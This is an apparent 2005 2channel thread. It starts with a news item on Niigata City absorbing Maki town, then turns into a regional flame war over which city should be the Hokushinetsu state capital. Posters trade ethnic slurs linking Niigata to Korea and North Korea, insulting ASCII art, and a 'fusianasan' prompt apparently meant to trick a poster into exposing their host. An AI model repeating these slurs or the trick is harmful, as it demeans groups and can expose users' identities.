新潟市と巻町が合併協定調印

　新潟市と西蒲巻町は８日、合併協定書に調印した。合併期日は
今年10月10日で、巻町が新潟市に編入される。人口は３月21日の
合併で誕生する新市と合わせ約81万人となる。
　両市町は昨年10月に任意合併協議会を発足、今年１月に法定
合併協議会を設置した。

http://www.niigata-nippo.co.jp/news/index.asp?id=2005020825198
[新潟日報 02月08日（火）］
( 2005-02-08-18:29 )

今年の10月10日には81万都市ですよ。何もしてないとことの差はもっと広がるでしょうね。

>>649
都市の歴史を見てみろ。
まずは経済活動・人の流れありきだよ。
そんなことでごまかしは利かんぞ
それにいまの時代一気に人が流れることはない。

エリア固めできるだけの力は新潟にはない。
その独善的な考えでは北信越自体無理、福井と長野は絶対嫌がるから。

結論は出るさねばならない。

最後は絶対的権限を所有する国が定める。

国としても、結論は出さなければならない。

最後は絶対的権限を所有する国が定める。

>>653
pointキムイよ。

>>652
実に後ろ向きな発想だ。

そんな腰抜け根性では都市間競争に負けるぞ。

pointキムイ

652はpointキム

キムイキムイ。

レスアンカー間違えてハズイハズイ

>>656
それしかいえんのか？
北陸長野は流通の中継点を目指す。
金沢や富山もそれに準じた都市ビジョンがあるだろう。
新潟こそ何もない、政令と国のオウム返し独善都市

今日は少しつられすぎたな

pointキムイキムイ

レスアンカー間違えてハズイニョーイ

pointキムはさいたまwww

下越ニョイ汚のくそいなかえつ♪

しかしこのスレ伸びるねえ。
もう一つ北信越スレがあった気がしたけど、そっちはどこ行った？

>>660
北陸長野は流通の中継点となる。
それをリモート統轄するのが新潟だ

新潟遠い('A`)

>>666
遠すぎて無理。
普通に考えて金沢でしょ。
ま新潟は国だけに頼っていきてればいい。
ここのスレに出てくる連中は北信越全体のことは入れてないからな。
お飾り都市として東北に君臨してな

>>668
普通に考えたら金沢は選択枝には無いはずだが。

>>669
沿線で一番大きな都市で北陸新幹線の暫定終点。
大阪までつながった場合は中間にもなる地理的には重要な場所。
別に富山でも可。

pointｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

pointさんはなぜ大都会金沢ではなく埼玉に住んでるの？

>>672
ﾏｼﾞﾚｽすると金沢市民ですが？
というか都合の悪いことはすべてpoint扱いですか？
思考停止だね。

>>675
既にこの板には単細胞のpointさいたまキムしかいないだろw

>>674
未来にレスしてどうすんの？
ここの新潟人思考停止しすぎ。
煽りにしても議論にしても視野が狭すぎ。

わたしがpointさいたまっていう根拠はあるんだろ？
そんな馬鹿みたいな理由でなくて客観的な根拠が。
そうでなけりゃお前のほうが単細胞だよ

金沢と新潟は遠すぎる。
最終的には名古屋とくっつくよ

ﾃｽﾄ

>>628
＞×見にくれば
＞○見に行けば

どこをどうすれば前文>>627の「見てくれば」が「見にくれば」になるんだ？？
この人はひらがなも読めないんだろうか？
前文は「見て来たらどうだ」と問うていると思うんだが・・・・。
それとも意図的な読み違えか？

>>641＆>>643
これにはワラタ。
やっぱりこの板にも新潟嫉妬厨というか政令市嫉妬厨がいっぱいいるようだね。
まあ、本州日本海側のナンバーワン都市が新潟なのは間違いないだろうね。
（京都も日本海側じゃない？という屁理屈は抜きにして）
ただ、それが「州都」としての適性なのかどうかはわからないけど。
それに、「州都」なるものにいかなる資質や役割を求めるのかも議論の余地あるしね。

下越は東北です。
新潟県(下越除く)は北信越です。

北陸カッペｗ

人口８２万人　日本海側唯一の政令指定都市　ウォーターフロントシティー新潟

萬代橋：http://askayama.net/machicard/niigata/niigata/bandaibashi.html
古町地区：http://askayama.net/machicard/niigata/niigata/ishizue.html
広域行政地区（新潟県庁）：http://port.s35.xrea.com/cgi-bin/img-box/img20030823111304.jpg
新潟県庁より遠景：http://bokunoniigata.gooside.com/img002.jpg
りゅ〜とぴあ（新潟三大箱物�@）：http://www.niigata-cci.or.jp/photo/contest.asp?concode=3&cdcode=80
ビッグスワン（新潟三大箱物�A）：http://www.niigata-cci.or.jp/photo/contest.asp?concode=2&cdcode=32
朱鷺メッセ（新潟三大箱物�B）：http://www.niigata-cci.or.jp/photo/contest.asp?concode=6&cdcode=233
リバーサイド緑地１：http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=161
リバーサイド緑地２：http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=163
リバーサイド緑地３：http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=159
リバーサイド緑地４：http://www.niigata-cci.or.jp/photo/contest.asp?concode=1&cdcode=15
万代シティ�@：http://niigata025.at.infoseek.co.jp/01/page009.html
万代シティ�A：http://niigata025.at.infoseek.co.jp/01/page010.html
万代シティ�B：http://niigata025.at.infoseek.co.jp/01/page011.html
新潟夢海岸：http://www.niigata-cci.or.jp/photo/contest.asp?concode=3&cdcode=64
駅前通：http://image2.photohighway.co.jp/se-bin/phjfile.dll?id=12940090&fl=1351386
万代橋通：http://image2.photohighway.co.jp/se-bin/phjfile.dll?id=15150577&fl=1351386
ｱﾙﾋﾞﾚｯｸｽ：http://niigata.xrea.jp/06/img1000.jpg
柳都大橋：http://www.niigata-cci.or.jp/photo/contest.asp?concode=5&cdcode=216
新潟ﾊﾞｲﾊﾟｽ：http://www.hrr.mlit.go.jp/nyusho/annai/1/passion3.html

今後も新しい新潟を宜しくお願いします

地方中枢５大都市

北海道の札幌
東北の仙台
北信越の新潟
中国の広島
九州の福岡

ひとよんで　「札仙新広福」

新潟って北信越の端っこじゃん(´・ω・`)

>>683
そんな事いったらワシントンもアメリカ大陸の外れ。
オーストラリアの首都も同じ。

首都の話なんてしてないわけだけど

>>682
それを最初に提唱したのがこの私だｗ
その他には「札新広福」「東京〜新潟〜大阪、トライアングル国土軸」など。

新潟を小馬鹿にするのは楽しかったなｗ

>>682
それなら徹底的に　「札仙新広福」 を極めてみないか？

新潟が札仙広福の中に入るのはちょっとね・・・身分不相応だと思う。
しかし金沢なんかまだ中核市だからそんな話にすら参加できないのが不甲斐ない・・・
合併話もストーカー扱いされて頓挫したし。
新潟に追いつけ追い越せで必死な我が市長は見ていて悲しい。

新潟県＝新潟市とか石川県＝金沢市って思ってるヤシおおくね？
特に人口激減とかってさ。

>>688

全然分不相応だよ。
縁あって仙台にはよく行くけど、背中も見えないほど引き離されてるって感じだ。
そんな痛いこと言うヤシわ笑ってやっていいよ♪

まあ新潟は仙台以下なのは誰の目にも明らかだが
金沢はそれ以下なんだよな。
早く新潟に追い付かないかなぁ〜その前に富山に抜かされそうだけど。

都市計画は仙台、金沢のほうが新潟より進んでると思うよ。
新球場の周辺を商業地帯にするって聞いたときはあいた口が塞がんなかったね。

新潟はデトロイトのような廃墟になるだろうな

片町周辺って、再開発うまくいったじゃん。
都市開発やインフラ整備のコンセプトは金沢のほうが全然はっきりしてる。
新潟市じゃ、兼六園買い取るなんてまねは絶対に出来ないよ。

長年、金沢も行き来してるけど、富山に抜かされそうには全然みえないけどなぁ。

>>693

うるせぇ、ヴォケ。
デトロイトいったことあんのかよ。

デトロイトってよ、高層ビルのガラスが割れてたりしてスゲーよ
とんでもねえ廃墟っぷり　万代島ビルもそうなるだろうな

実家のおかんは（内灘）買い物は全部富山だ。
高岡だけど。
まだやっぱ金沢市内は車で行き辛いらしい。
まだ渋滞なんかも頻発しているし。
あれだけ道路工事しといて一体なんの為に金を掛けたんだろうね。
金沢の都市計画はいいものかもしれないけどあまり功は奏していないようだ。

うぜぇ。
どうせ写真みて語ってるだけだろうが。

もっとも、お前がどこのやつかは知らんけど。
知る気もないから心配すんな。

>>694
>>688は明らかにおかしいでしょ。
野々市ストーカー発言は県内でもむしろ野々市のほうが馬鹿にされてたし。
ま普通に考えて政治家の発言としては失言の部類。

>>684
ワシントンは首都だけど歴史的な理由があるでしょ。
オーストラリアはシドニーとメルボルンどっちも
譲らなかったからだろ。

貧困下越じゃ欧米旅行も高嶺の花

同じ金沢市民でもこれだけ意識の差が
あるんだから合併なんて無理なはずだよ。
もう金沢は終わったと思って俺は新潟を煽るのは止めたよ。
完全敗北。紛れもない完全なる敗北だ。
新潟は3月以後確実に北陸信越の州都となるべく
国の後ろ盾もあってどんどん発展していくんだろうね。
金沢はもう終わりだ・・・俺も仕事が見つからんｗｗ

>>697
浅電も駅で止まってるもんな。野町まで繋がってれば、もっと便利だったと思う。
市内の渋滞は、道幅が道幅だからねぇ。。。
バイパスだって、高架になった箇所の合流で渋滞してるしね。
御所から旭町に抜ける道路が出来たおかげで、園下通らなくて良くなったのはいいんじゃない？

新潟のほうが仕事が見つからないよ

確かに俺は富山人だけどたまに金沢でもドライブがてら金沢でも行こうよってさそってもみんな面倒くさがる。
富山の中心部も駐車代の関係であまり行かないし。
まあ地元は無料で止めれる技があるから行かないわけでもないけど。

>>703

もう少しマトモに煽れ。つまらん

新潟煽ってもつまらん　軽く唾を吐き捨てる程度でじゅうぶん

>>701
津幡内灘は合併うまくいきそうだ。
というか野々市の町長はマジで勘弁してほしい。
ただ自分の職がなくなるのがいやなだけだろ。

>>706
てめえを相手にした俺がバカだった。スマソ

というか新潟は景気自体はよくないだろ。
仕事ほしかったら金沢人なら普通に名古屋にでもでろよ。

業界次第じゃないか？流通はいいみたいだけど。
名古屋にでもでたほがいいってのは、そう思う。

普通に名古屋ねぇ・・・
俺が進学するときは新潟か東京か大阪かって感じだったなみんな。
名古屋はあんまり人気ないね。
じいさんばあさんはなんか名古屋嗜好な気がするけど。
丸越関係で洗脳されているんだろう。

富山はいまのところ景気はまあまあなのか。
都市計画も色々進むし、日本海側最大の
企業をいくつも抱えて躍進しますよ。
結構大口の雇用があると思うのであまり
選り好みしなければ社員としての雇用も多いと思います。

>>710
新潟なら北陸とかわらん。
>>711
お前金沢人じゃないだろ
１、名古屋の金沢からの進学は多い
２、新潟への北陸からの進学はかなり少ない。
新潟に金沢が確実に勝てる点は国私とも大学の質。
新潟はむしろ専門が強いだろ。

新潟で働いても待遇が悪い会社ばかり

>>713
君が金沢を離れている間に状況が変わってきてるのさ。

事態はリアルタイムで動いている。

>>715
私現在金沢市民だけど？
というか自分で石川の高校の
進学先でも見てきたら。
なんで新潟に進学するのよ、かなり遠いじゃない。

>>716
fushianaしろ。

>>717
fushiana?
よくわからん。

名前欄に半角でfusianasan

よろ。

>>719
それするとどうなんの？

>>720
きみが正しいか証明できる。

>>721
こうか？

fusianasan強要の新潟か　その前にテメエがしろっつーの

＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿　　　　　　　　　　　　　　　　
＿＿＿＿　　　　　　　　＿＿＿＿＿＿＿＿＿＿　　　　
＿＿　　＿（　´_ゝ`）ﾌｰﾝ　　＿＿＿＿＿＿ 　　　　日本10大拠点　　
　　　　/　　　　　　 ＼ 　　　　＿＿＿＿ 　　仙台　札幌　新潟　東京
￣￣　i　.i　＼ 　　　　＼　ヽ, 　　___,, __ ＿ ,, - _" ’.'..　・,’・　
──　ヽ勿　　ヽ,__　 　 j　 i~""　　　　 ＿ ― ＿: i ∴　,__”_∵,　∴・ ) ) ) ) ) )金沢
＿＿＿＿＿＿ 　 ヽ,,　/　/　__,,, -- "" ─ "ー ・, ；; - 、・ ；; -
───────　 ヽﾉ　ﾉ,イ　　─── ― 大阪　広島　四国　　
───────　 /　/,. 　ヽ, 　──　　那覇　名古屋　福岡　　　
＿＿＿＿＿＿ 　 丿 ﾉ　ヽ,__,ﾉ　＿＿＿ ＿　_ _＿　　　
　　　　　　　　　　 j　 i　　　　　　　　　　　　　　　　　　　
＿＿＿＿＿ 　 　巛i~　＿＿＿＿＿＿＿＿＿＿＿　　　

>>724
四国？

>>725
四国市誕生。
大阪を超える人口を誇る。
面積は単独で長野県より大きい。

新潟県を衰退地区として蔑視し排除しようとしているが大きな誤りだ。
全国有数の衰退地区である北海道を見てみよう。
北海道は衰退著しい。しかし全国の人々はそれ程感じてはいないはずだ。

何故か？
それは札幌市の存在があるからだ。
札幌市が政令指定都市として躍進しているため北海道には活力があるのだ。

同様なことが政令指定都市新潟市にも当てはまる。
新潟県は確かに衰退しているが新潟市が政令指定都市として発展する事により県としての活力はあるはずだ。

これを広げて北信越とした場合はどうだ？
北信越の条件は北海道よりも良いはずだ。
新潟市が政令指定都市として、更に北信越州都として発展すれば北信越そのものの活力と成り得る。

富山・石川・福井・長野単独に観察すれば北海道ほどの衰退地区ではなさそうだ。
しかし全国から見て発展した地区として見られてないのも現実だ。

この一見平坦そうに見える北信越に政令指定都市と言う全国に名の通る新潟市が州都として存在する事は非常に意義がある。
どう考えても全国的見地からも、北信越州都は新潟市以外には考えられない。
これは政府関係者も全国の拠点都市の規模機能から導かれる一致した意見であると思う。

筋道・理論の通った事実と言える。

>>727
北信越って人口とか経済の中心が北陸・長野でしょ・
北海道は完全に札幌に集中してるし、何より世間のイメージがよくても札幌の景気が悪いのは事実であり
北海道衰退の事実があるので住んでる人間には関係ないよ。

北信越の州都は新潟はメインルートから遠すぎるから
分都型が理想、住民のことを考えるならな。

新潟県を衰退地区として蔑視し排除しようとしているが当然の話だ。
全国有数の衰退地区である北海道を見てみよう。
北海道は衰退著しい。北海道を良く知る人は東西・南北格差を身に染みて知っている。

何故か？
それは札幌市の存在があるからだ。
札幌市が政令指定都市として躍進しているため札幌周辺だけは活力があるのだ。

同様なことが政令指定都市新潟市にも当てはまる。
新潟県は確かに衰退しているが新潟市が政令指定都市として発展する事により新潟市周辺の活力はあるはずだ。

これを広げて北信越とした場合はどうだ？
北信越の条件は北海道と似たようなものだろう。
新潟市が政令指定都市として、更に北信越州都として発展すれば北信越そのものの活力と成り得えない。

富山・石川・福井・長野単独が合併した場合、北海道の悲劇は防ぐことができる。

>>729
つまり新潟県の力は、政令指定都市新潟市の存在により長野福井石川富山を大きく超越している事が実証された事になる。
メインルートと言うが、新幹線だけだろう？
新幹線が運ぶものは本当に限られている。

国土の発展は何と言っても道路網による国土交通だ。
北陸自動車道が真っ先に建設された事から国は新潟富山石川福井を完全に１つの大動脈で一体化している。
仕上げが上信越道による長野との結合だ。

これで北信越の交通網は十分だ。
長岡〜上越間の新幹線は遠い将来になるが後で財政のゆとりができたら建設すればよい。

ブロードバンド・高速通信の時代だ、北信越州都は新潟市で十分に機能する。
一度見に来ればわかると思うが、県庁隣の美咲町の国の行政庁舎の建設も着々と進行中だ。

政令指定都市が確定しているのだ。
それを踏まえ、既に国策は北信越州都新潟市に向けて動き出した。

これは事実だ。

>>728
分都との話は弱小都市の言い逃れ文句だ。
こんな不況の時代に経費のかかる不経済な分都など国が認めるはずも無い。
力のある都市に設州都するのが全国の常識だ。

つまり新潟県の力は、政令指定都市新潟市の存在により新潟市周辺だけだということになり
激しい地域格差が存在する北海道と何ら変わらないということが実証されたということだろう。
そのような構造上の欠陥がある県と合併したい周辺県などいないだろう。
新潟県が衰退地域として蔑視、排除されるのは将来的にも可能性が皆無だからに他ならない。

新潟県が自主財源の低さと地域格差を理由に東北州入りに難色を示すのと同様に
北陸・信州も新潟との合併に難色を示すのは当然だろう。新潟県は足手まといに他ならない。

>>730
新幹線で十分だろ。
東京−大阪を結ぶ大幹線になるかも知れん品。
将来的には人口も多く北信越の経済的な中心の
北信区域がメインルートになるのは間違いないだろう。

>>731
道州制は地方分権だから国は関係ない。
一つにまとめたら能登や福井嶺南あたりは道州制でさらに悪くなる。
つまりそういった地域は無視して財源確保・一都市だけの整備しかやらないと？
そんなところと結びつくわけないじゃん、みんな北海道見てるから金沢や長野が小樽や
函館みたいになるのはわかってんだし。

すでに新潟市が北信越の最有力都市である、というのは共通認識のようだな ・・・

>>735
そうだろうが北信越自体眉唾物だし
何よりこの地域は新潟とそれ以外が遠すぎるんだろ。
広域で見た場合北陸・長野＞新潟だし。

北海道のイメージがいいのは札幌のおかげ
北信越のイメージが悪いのは新潟のおかげ

イメージは関係ない。
新潟市が州都になって本当に北陸長野のためになるなら反対もしない。
しかしやる前から北海道みたいなことになるとわかってるし、
北陸長野は新潟より豊かで将来性もあるからメリットがない

>>735
というか北信越州のくくりと、
新潟市が州都になることが一体で切り離せないものだと思う。
もう一方の北信越スレが盛り上がっていないところを見ると。

まあ俺は北信越州自体に反対だけどな。

まあ北信越州など力の無いない州は全く相手にされないしな
新潟も関東と一緒になるのがベストと考えてるだろう

>>739
「新潟市民」がいるかいないかの違い。

>>734
東京−大阪を結ぶ代替ルートにしかならないよ。
太平洋側は日本海側なんてそんな程度にしかみてないし。

北信越の経済的な中心が長野だとは初耳だったな。

>>742
経済の中心になる地域って言う意味だけど？
富山らへんが大きいが単独ではなく金沢や長野とあわせて考えてのこと。

日本海側も極東開発や中国のバブルあたりでそれなりに地位が向上するのではないだろうか？
あくまでもそれなりだが。

下越県は東北併合
佐渡県中越県は北関東併合
上越県越中県能登県金沢県は中部州。
若狭県越前県（旧越前小松空港を含む）は関西州

>>743
俺は地理的なことを考えると、窓口じゃないかなって気がするよ。長野は。
北陸支店の数は移転を含めて増えるような気がする。
てか、長野は元々港ないから、上越との連携のほうが強くね？

極東開発や中国のバブルって話だけど、外国が投資するのは、紛れもなくあんた達の嫌いな新潟だろ。
航空・港湾・高速・鉄道って輸送の要が脆弱すぎるよ。
てか、そんな話は１０年以上前から新潟で言ってるけど、全然もりあがってねーし。

あまり期待しないほうが吉じゃないかな。

新潟は土下座してでも関東に入れてもらえ
関東のゴミ箱として存在理由はある
原発だろうが産廃だろうがオコボレを恵んでもらって逞しく生きろ

全ての恩恵から忘れ去られ、地図からも抹消されそうな北陸に言われる筋合いはないね。

あまり新幹線が着工したからってウカれんのもたいがいにしろ。

八戸よりもはるかに見苦しいよ。マジで。

新潟は独立でいいんじゃない？

下越は北朝鮮に引き取ってもらいます。

>>744
新潟県解体激しく同意！

もしこうなったら下越人はめちゃくちゃショックを受けるんだろうなぁ〜(笑)

新潟が州都の流れになれば金沢は絶対に反対するだろうね。
おそらく名古屋にたなびく。新潟より名古屋のほうが100石マシ！

北陸こそ見苦しいし、北に近いだろ。

3県で1県を攻めるとはなぁ。
長野まで巻き込むなよ。あそこだって、関東みたいなもんなんだから。

北陸以外なら、マジどこに組み込まれてもいいよ。
北陸州にしろって。マジで。
辺境・最弱は独占できるよ、絶対。
そんときは大笑いしてやるよ♪

北陸三県は豊かさを享受してるのに何ゆえに新潟にくっつかなければならないのか、さっぱり分かりません。

コカコーラ
電力

ま、いまんとこ最弱はこんなもんか？

てか、マジショボいな。クソ以下の支店管轄だ。左遷だろ、こりゃｗ
ブロック支店最弱は意のままですもんなぁ。

で、新幹線全通で長野、さいたまにストローですか。




マジ最高ｗ

だから、朝日もないようなとこが豊かって言われてもねぇ・・・
人口200万以下の石川に出来たのが奇跡だっていってたけどさｗ
じゃ、トヤマになんか一生出来ないんだろ？
最終予選は北のデンパでみるのか？
ま、みんなデンパだからそれがお似合いだね。

てか、マジ北陸なんかと一緒にすんなよ。
県と地方を比べるお前達のオツムのほうが豊かだってことはよく解ったからさ。

金沢人に限らず、北陸人ってこの板見ていると井の中の蛙っぽいな。

>>755
何かあ、北陸では朝日も出ないのか？

今回だか先回の日経トレンディーみてみなよ。

金沢以外北陸のページは全国最低だったよ。。。
トレンド地図って内容じゃ、仕方ないかな。

>>756
この板の住人は井の中の蛙が多いよ。
>>747
すべての地方から見放され、北朝鮮になりそうな新潟に言われる筋合いはないね

あまり政令市昇格したからってウカれんのもたいがいにしろ

豪農の館よりもはるかに見苦しいよ。マジで。

ここの厨もいずれは成人するわけだ
住民投票があれば、「新潟との合併に反対」に一票を入れるわけだ

三つ固まっても知名度ゼロの北陸が何ぬかしてんだかな。単体の金沢はスゲー有名だけど。
合併反対はこっちからお願いしたいよ。
まったく冗談じゃない。

お前らも早く政令都市になって浮かれてみろよ。
あ、新幹線でウハウハだったんだっけ？
いいなぁ〜四半世紀前の話題でウカレられるなんて。

　 ∧＿∧　　　　∧＿∧　　　∧＿∧　　 ∧＿∧　　　　　∧＿∧
　 (　´∀｀）　 　（　´ー｀）　　（　｀Д´ ）　 （　ﾟ ∀ﾟ ）　　　　（　＾∀＾）
　（　　　　つ┳∪━━∪━∪━━∪━∪━━∪━┳⊂　 　 　つ
　｜ ｜　|　 ┃　　　　　祝☆７８万都市誕生　　　　 ┃　｜ ｜ ｜
　（_＿）＿） ┃　　　　　<<合併まで ３８日>>　　　　 ┃　（_＿）＿）　
　　　　　　　┻━━━━━━━━━━━━━━━┻

北陸3県＋新潟県で富山が州都、それでいいじゃん。

州都が富山じゃ外に向かってイメージ的にぱっとしないだろ。

でも新潟なら北陸3県が嫌がるし金沢なら新潟が嫌がるじゃん。

そもそも北陸3県＋新潟県の合併が成立するはずもない

>>766

禿胴
北陸と新潟でけなしあうことは不毛なことだ。
スレタイ自体、意義がなくなるが。

これだけ仲が悪いんだから北陸3県と新潟は別枠になったほうがいいね

将来的な事を考えれば、新潟は東北に入ったほうがいいのかもしれない。
お互い足引っ張りあって、衰退の道歩むよりも、建設的な話の進む東北になったほうが
よほどいい気がするのは、オレだけ！？

説得していけばいいよ。まだ数十年あるし。
でもここは２ｃｈ。意味ないね。

もし、そうなるんだったら、正直、どこでもいい。

現状で話が合うわけないし。
お互い、勝ち組になりたいのは当たり前なんだから。

新潟は政令都市になって、都市として自立するほうが先だろうし、
いつになるか、本当にそうなるかわからん道州制は、今考えることじゃない。

はっきりいって中途半端な州都になんかなるくらいならすこしでも港の貿易額が上がってくれた方が余程､新潟市民として誇りが持てる

1-772低レベルな話題乙！
http://www002.upp.so-net.ne.jp/toshi02/JobanLine.htmＡＴＯＳ放送（普通いわき行きアナウンス）
http://www.geocities.jp/khsr21/page016.html
今年中に上野〜いわき間を走る403、415系が代わって 新型のＥ531系が登場する

くそいなかえつ

ようやくしおらしくなってきた朝鮮新潟ｗ
時すでに遅し

心配すんな。
クソを相手にするの飽きたんだよ。
ま、中越・上越のやつらが言ってたとしても、同じ新潟だからな。

無い物ねだりのアフォ共とは違うのだよ。
長野見習って越境合併でもしたら？

↑くそいなかえつじん

>>769
新潟の東北入りは大賛成

全国の州都が政令指定都市は常識。
国も中核都市レベルでは不安で州都は任せられないだろう。

>769
東北州の州都争いは仙台市と新潟市の激しい戦いが予想されるわけだね
もちろん新潟市を陰ながら応援しますから頑張ってくださいね
餅つきで鍛えた粘り腰で新潟市が東北の雄になれるといいですね

北信越州は中国州や北海道よりも人口規模が大きい、ＧＤＰも高い。
http://www.osagashitai.com/kouzoukaikaku/kouki/uratyoubo009.jpg

十分な力がある。
北信越州民は自信と誇りを持って良い。

北信越州の旗「北信越州旗」を作ろう！！

>>779
何が不安なんだ？

新潟役人の朝鮮寄りな姿勢が不安ですｗ
北朝鮮の植民地新潟！

こんな東北屑村落に北信越は任せられん。
やはり北信越の赤レンジャーこと金沢市に任せとけ。

>>780
アホかｗ

>>783-784
不安と言う表現は誤解を招くようだ。
現実的に考えても他州都は確実に政令指定都市（四国は法律上の政令指定都市基準５０万都市をクリアーしているので州都指定許可とする。）しか考えられない。

富山　金沢　長野　福井　は全て政令指定都市どころか、法律の基準の５０万都市すら満たしていない。

もうこれだけで北信越州都基準は十分に答えが出ている。
実際、富山　金沢　長野　福井　はどれも州都になろうとする意欲が見られない。
金沢に至っては「学術文化政令市構想」も今では消滅している有様だ。

新潟は政令指定都市移行後に北信越州都になる意志を確実に表明するだろう。

政令指定都市になるための努力もろくすっぽもせず、意志表明もせずに新潟はだめだの言動のみを吐き散らす都市に国が一州の管理を任せるわけがない。

頑張って東北州の州都になってくださいね

>実際、富山　金沢　長野　福井　はどれも州都になろうとする意欲が見られない。
勝手な妄想
>金沢に至っては「学術文化政令市構想」も今では消滅している有様だ。
勝手な思い込み
>新潟は政令指定都市移行後に北信越州都になる意志を確実に表明するだろう。
勝手な願望

どこに答えがでてんだか...

そんなに北陸３県から嫌われているんだったら、新潟は関東州or北関東州に入ればいい。
リスクの大きい「北信越州都」なんかに無理してならなくたって、関東の一政令市として生き残るのもありだろう。
交通網の発達で、既に広域関東として見なす向きも多いんだから。

ただ気になることは、残った「北陸州」がどれだけみすぼらしい姿になるのかなんだが・・・・。

>>789
いや
お荷物の新潟入れ無い方がマシなの明らか。
ただ数合わせの為だけに衰退地域と一緒になる価値はない。
まず長野と一緒になるのが先決。それから東海。
ダメなら少数精鋭の方がいい。新潟だけは勘弁。
北陸の金で新潟まで維持していくのは大変。第一、北陸は新潟まで背負う体力はない。

>>790
希望的観測と夢物語と新潟侮蔑と北陸侮蔑がごちゃ混ぜ。

>>789　
そのことからも北陸４県同一州は確定的だ。
これは金沢市が政令指定都市になれない事と大きく関連している。

更に選挙区から長野も含めた北信越州は確定的だ。

金沢はいつ５０万を突破するんですか？（ｗ
たったの４５万の糞田舎（プ

>>789
でも、下越だけ東北だね。
湯沢辺りは東京から近いけど下越は遠すぎるね。
下越は東北色強いし。上越中越と違って東北的だしね。
下越だよは山形県に編入すればいいんだよ

下越＝北陸
上中越＝関東

>>794
日本語が不自由な方ですね
祖国金沢民国に帰られたほうがよろしいと思いますよ

>>796
あっつぁらがん、なんも役にたたねてばｗｗｗｗｗ　もろた桃、あったらもんがって、とってたてがんね、よみすぎてしもて、
　しめーにふちゃふちゃとくてしもたてｗｗｗｗｗｗｗ
あっぱたれそうらっやｗｗｗあっぱじゃ行ってあっぱしてくるっやｗｗｗｗｗ
うちん子は、あぽーんとしてＴＶばっかり見てってばねｗｗ
あんにゃさ、どごんもんだ？あんべわーれっけ会社休みますｗｗ
おぉ！いっちょめげに仕事してんねっかｗｗｗｗｗいそがんばねぇてんにいつもつしてんな
いっかんま、そんが事ゆうとゲンコツらろｗｗｗｗｗｗｗうーーまへ、けって来るっけ待ってれて

くそいなかえつ

政令指定都市所在地　北信越最先進エリア

メロトロポリス≪下越≫

日本の中の僻地新潟県
その中のさらに僻地≪下越≫

いや、
北信越メガロポリス・グレート下越

下越って笑いの対象になりつつあるな。

The　Capital−City　of　Hokushinetsu　State　Niigata−City

>>797
申し訳ありませんが金沢語の知識がありませんもので・・・

どうみても下越弁だな

>>806
ま、うなみてなもうぞのかすはえんぞのはたでじみちょしてればいいがんだｗｗ
こんげとこしゃしゃりでてくるもんでね・・ぶんざいかんげえれ、かすおじｗ
すっつあわきのあまげがんではごうさらしいわれろんが・・
ま〜おやのまきがしりてくらいのもんらの〜。ぼぼらっけしょうがねか・・
やいや、おもったよかばっかうけてしもたいや・・しょしらてばの〜。
だ〜ろもあちさんのわるぐちわの〜いわんねこてさ。
そんげこきったねこんじょらっけだめなんだがの・・おめさん。

【野球】「金沢に球団を」市民が誘致団体設立
http://news18.2ch.net/test/read.cgi/mnewsplus/1108088285/
金沢人必見

下越は嘲笑の全国区になりつつあるな

>>798

くそいなかなざわ

くそいなかえつ

　　　　　　　すいませんねぇ　全国の人！！！

　　　　　　　　　　:　　 　こんなの と 比較しちゃって･･･
　　　　　　　　　　　＋　 　　↓
　　　　　　　　　　　　　　∫∫∫∫　ﾌﾟｰﾝ
　　　新潟人民　　　 _,..--‐‐‐‐‐-...,_ ＋　　←学習困難
　　　マンセー 　　／:::::::::::::::::::::::::::::::::'., ∫　　
:　　　　　　　＋ 　/::::::::::::::::::::::::::::::::::::::::::::.. 　←イジメによる情緒障害
　　　　　　　　　　i, 　　　　　　　　　 ::::::::::::,　　＋
　ウヘヘヘ 　　　ゝ　 ／' 　'＼　　　 :::::::::::;　←ｷﾁｶﾞｲ粘着
　他県の女に　　 -･=-,　､-･=-　　::::::::::;'　　　
　サル扱いされた| 　.,ﾉ(・ ・ ( ⌒　　::６）　　←ｽｶﾄﾛ趣味　ょぅιﾞょ 好き
　恨みは絶対　　.l　彡ﾄｮﾖｺｲミ　　.ソ ＿＿＿＿＿＿＿
　忘れんで！　　　ヽ彡｀ニ'´ ミ　,.i　　　　+
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　　　　　　　　　`i　　　立 斤　　　/　| 失笑。◆/q3IBffcPs（代表的 新潟人）
　　　　　　　　　 | 　 　:木ﾉ |　 　　 ＜ 無職･童貞･低学歴･変質者
　　　　　　　　:　｛.　''　　 ╋┓ヾ 　. ´|
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北陸３県プラス新潟でいいじゃん。東北下越も面白いじゃん。一緒に訛りを勉強しようよ。第３外国語として習得して、トウホグとの交易を活発にすれば、ハッピーじゃん。

　 ∧＿∧　　　　∧＿∧　　　∧＿∧　　 ∧＿∧　　　　　∧＿∧
　 (　´∀｀）　 　（　´ー｀）　　（　｀Д´ ）　 （　ﾟ ∀ﾟ ）　　　　（　＾∀＾）
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　｜ ｜　|　 ┃　　　　　７８万都市誕生まで　　　　　┃　｜ ｜ ｜
　（_＿）＿） ┃　　　　　　　　　　３１日　　　　　　　　 ┃　（_＿）＿）　
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地理的には上越の方がふさわしいと思う。
長野・新潟・北陸の中間点にあるから。

ただ人口は新潟よりかなり少ない。新潟がもっと南にあればよかったのに。

新潟市が首都になるなら、福井は北信越には入らないだろう。
新潟は遠すぎる。僻地過ぎる。

俺も上越に賛成。北陸新幹線と、新潟方面への各駅ディーゼルとの分岐点だし。
しかも、まだ未開発で、これからドーニデモなる。

上越なら納得

新潟いとあはれなり
とうほぐに接したりければ、訛りてこれもまたとうほぐなり
他県から北陸と認められておらぬことも知らず
道州制が敷かれるの噂を聞き知りて、州都 州都とはかなげに泣く
いみじうあはれなり

下越と言えば田んぼ　田んぼと言えば東北

北陸ウンコくさいよ。

>>815　>>817
お困りご近所の妙案って感じですね。これはいい！
北陸新幹線の停まる脇野田周辺に州都の行政機能をつくったらいい。
新潟へのアクセスのために、ほくほく線経由直江津ー浦佐、または信越線経由直江津ー長岡を
ミニ新幹線化したらいいと思う。
上越周辺にはまだまだ土地があるから、将来の発展に期待ができる。

【東北の】東北7県都市1位スレ【覇者】
http://travel2.2ch.net/test/read.cgi/chiri/1108889617/l50

>>816
福井と新潟どちらが僻地かな？
それぞれの駅前に立ってから書きましょう。

